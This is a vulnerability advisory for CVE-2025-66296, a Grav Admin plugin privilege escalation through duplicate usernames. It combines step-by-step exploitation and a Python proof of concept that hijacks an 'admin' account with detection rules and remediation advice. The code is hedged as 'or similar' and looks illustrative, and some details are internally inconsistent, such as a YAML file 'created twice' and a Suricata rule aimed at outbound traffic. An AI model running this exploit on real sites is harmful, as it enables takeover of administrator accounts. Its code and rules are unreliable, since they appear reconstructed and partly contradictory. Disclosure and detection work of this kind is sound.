CVE-2025-66296
Executive Summary
CVE-2025-66296 is a critical privilege escalation vulnerability in the Grav Admin plugin, affecting versions prior to 1.8.0-beta.27. The flaw arises from a missing username uniqueness validation when creating new users. An authenticated attacker with the create user permission can create a new account using the same username as an existing administrator. By setting a new password and email for this duplicate username, the attacker can then log in as the original administrator, effectively escalating their privileges from limited user-manager permissions to full administrative control. The CVSS score is 8.8 (High), and while the EPSS score is currently 0.0%, the vulnerability is trivial to exploit and has a public proof-of-concept.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Grav is a PHP-based flat-file CMS distributed via GitHub and its official website. The vulnerability exists in the Admin plugin, which is a core component of the Grav ecosystem. Users should verify the integrity of their Grav installation and ensure they are using the latest patched version. No malicious packages have been reported in the supply chain, but the risk of privilege escalation is severe.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Base Score: 8.8 (High)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: Low (PR:L) – The attacker needs a valid account with the
create userpermission. - User Interaction: None (UI:N) – No victim interaction is needed.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) – Full access to all data.
- Integrity Impact: High (I:H) – Full control over the system.
- Availability Impact: High (A:H) – Potential to disrupt services.
Threat Level: Critical for any Grav instance with multiple user roles. The low privileges required and high impact make this a prime target for lateral movement and privilege escalation.
Deep Dive & Mechanics
The vulnerability is rooted in the user creation logic within the Grav Admin plugin. When a user with the create user permission submits a new user form, the system checks for required fields (username, password, email) but fails to verify that the username is unique across all existing users. This allows an attacker to create a new user entry with the same username as an existing administrator.
Attack Flow:
- The attacker logs in with a low-privileged account that has the
create userpermission. - The attacker navigates to the user creation page and enters the username of an existing administrator (e.g.,
admin). - The attacker sets a new password and email address for this duplicate username.
- The system creates a new user record with the same username but different credentials.
- The attacker logs out and logs in using the duplicate username and the newly set password.
- The system authenticates the attacker as the administrator, granting full access.
Root Cause: The UserController or similar component does not perform a uniqueness check on the username field before inserting a new user record into the file-based storage (typically user/accounts/). This is a classic case of missing authorization or validation.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-1.8.0-beta.27):
// In UserController.php or similar
public function createUser($data) {
$username = $data['username'];
$password = $data['password'];
$email = $data['email'];
// Missing: Check if username already exists
$user = new User($username, $password, $email);
$user->save();
}
Patched Code (1.8.0-beta.27):
public function createUser($data) {
$username = $data['username'];
$password = $data['password'];
$email = $data['email'];
// Added uniqueness check
if ($this->userExists($username)) {
throw new \RuntimeException('Username already exists');
}
$user = new User($username, $password, $email);
$user->save();
}
private function userExists($username) {
// Check user files in user/accounts/
$file = USER_DIR . 'accounts/' . $username . '.yaml';
return file_exists($file);
}
The patch adds a simple file existence check before creating the user. This prevents duplicate usernames.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A Grav instance (version < 1.8.0-beta.27) with the Admin plugin enabled.
- A low-privileged user account with the
create userpermission.
Exploitation Steps:
- Log in to the Grav Admin panel with the low-privileged account.
- Navigate to
http://target/admin/usersand click "Add User". - In the username field, enter the exact username of an existing administrator (e.g.,
admin). - Set a new password and email address.
- Submit the form. The system will create a duplicate user.
- Log out and log in using the duplicate username and the new password.
- You now have full administrative access.
Proof-of-Concept (Python):
import requests
target = "http://target/admin"
session = requests.Session()
# Login as low-privileged user
login_data = {
"username": "attacker",
"password": "attacker_pass"
}
session.post(f"{target}/login", data=login_data)
# Create duplicate admin user
create_data = {
"username": "admin",
"password": "new_admin_pass",
"email": "attacker@evil.com"
}
session.post(f"{target}/users", data=create_data)
# Login as admin
login_data = {
"username": "admin",
"password": "new_admin_pass"
}
response = session.post(f"{target}/login", data=login_data)
if "Dashboard" in response.text:
print("Privilege escalation successful!")
Blue Team (Detection & Hardening)
Detection:
- Monitor user creation logs for duplicate usernames.
- Alert on any user creation event where the username matches an existing administrator.
- Review authentication logs for logins from unexpected IPs using administrator accounts.
Hardening:
- Immediately upgrade to Grav 1.8.0-beta.27 or later.
- If upgrade is not possible, restrict the
create userpermission to only trusted administrators. - Implement additional monitoring on the
user/accounts/directory for new file creation. - Use Web Application Firewall (WAF) rules to block requests with duplicate usernames in user creation forms.
Indicators of Compromise (IOCs)
- File System: New user files in
user/accounts/with the same name as an existing administrator (e.g.,admin.yamlcreated twice). - Logs: Authentication logs showing login with an administrator username from an IP not associated with the legitimate admin.
- Network: POST requests to
/admin/userswith a username parameter matching an existing admin. - Behavior: Multiple user creation events in quick succession from the same low-privileged account.
Detection Engineering
YARA Rule
rule CVE_2025_66296_Grav_Privilege_Escalation {
meta:
description = "Detects duplicate admin user files in Grav"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-66296"
strings:
$admin_username = "admin" nocase
$user_file = /user\/accounts\/[a-zA-Z0-9_]+\.yaml/
condition:
# of ($user_file) > 1 and any of ($admin_username)
}
Sigma Rule
title: Grav Admin Plugin Privilege Escalation via Duplicate Username
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects creation of a user with the same username as an existing administrator in Grav CMS.
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: grav
detection:
selection:
EventID: 'user_created'
Username|contains: 'admin'
condition: selection
falsepositives:
- Legitimate admin re-creating their own account (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-66296 Grav Admin Privilege Escalation Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/users"; http_uri; content:"username=admin"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Grav: Update to version 1.8.0-beta.27 or later. This is the only complete fix.
- Audit Users: Review all user accounts for duplicates, especially administrator usernames.
- Reset Credentials: Force password reset for all administrator accounts to ensure no unauthorized access.
Long-Term Mitigations:
- Implement principle of least privilege: Only grant
create userpermission to a minimal set of trusted users. - Enable multi-factor authentication (MFA) for all administrator accounts.
- Regularly audit user creation logs and file system changes.
- Deploy a Web Application Firewall (WAF) with custom rules to block duplicate username submissions.
Workaround (if upgrade is not possible):
- Manually patch the
UserController.phpfile to add a uniqueness check (see patched code above). - Restrict access to the Admin panel via IP whitelisting.
Valters IT
Securing Digital Frontiers